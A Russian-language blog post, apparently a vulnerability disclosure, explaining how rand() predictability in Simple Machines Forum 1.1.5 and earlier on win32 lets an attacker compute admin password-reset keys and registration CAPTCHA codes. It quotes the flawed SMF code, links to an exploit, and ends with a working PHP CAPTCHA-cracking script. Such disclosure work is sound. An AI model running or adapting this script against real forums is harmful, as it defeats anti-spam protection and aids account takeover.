Обнаружил уязвимость в Simple Machines Forum <= 1.1.5, связанную с предсказуемостью кода подтверждения для смены пароля, а также CAPTCHA в модуле регистрации. Оба механизма используют в своем алгоритме функцию rand(), о недостатках которой я писал в прошлой статье.
Сброс пароля администратора
SMF выявляет случайное число, сгенерированное с помощью rand(), в виде md5-хэша в самой форме восстановления пароля (hidden параметр sc):
<?php
$_SESSION['rand_code'] = md5(session_id() . rand());
$sc = $_SESSION['rand_code'];
?>
Активационный ключ генерируется следующим образом:
<?php
$password = substr(preg_replace('/\W/', '', md5(rand())), 0, 10);
?>
Так как максимальное значение случайного числа на win32 является 32767 и идентификатор сессии известен, то перебором md5-хэша можно получить случайное число. В win32 любое число, сгенерированное с помощью rand(), становится сидом для следующего числа, таким образом можно предугадать все последующие числа и вычислить активационный ключ.
http://milw0rm.com/exploits/6392
Вычисление кода CAPTCHA
SMF выявляет случайное число в модуле регистрации (ссылки на изображения с кодом CAPTCHA):
<?php
$context['verificiation_image_href'] = $scripturl . '?action=verificationcode;rand=' . md5(rand());
?>
Сам код CAPTCHA генерируется следующим образом:
<?php
$character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z'));
// Generate a new code.
$_SESSION['visual_verification_code'] = '';
for ($i = 0; $i < 5; $i++)
$_SESSION['visual_verification_code'] .= $character_range[array_rand($character_range)];
?>
Функция array_rand() использует внутренний вызов rand(), поэтому определив перебором предыдущее случайное число в ссылках, можно вычислить сам код (опять-таки актуально только для win32).
<?php
/**
* Simple Machines Forum <= 1.1.5 CAPTCHA cracker (win32)
* by Raz0r (http://Raz0r.name/)
*/
$url = "http://localhost/smf/";
$html = file_get_contents("{$url}index.php?action=register");
$out=array();
preg_match("@rand=([0-9a-f]+)@i",$html,$out);
if(isset($out[1])){
$rand = bfmd5($out[1]);
srand($rand);
$character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z'));
for ($i = 0; $i < 5; $i++) {
echo $character_range[array_rand($character_range)];
}
}
function bfmd5($md5) {
for($i=0;$i<=32767;$i++){
if($md5 == md5($i)) {
return $i;
}
}
return false;
}
?>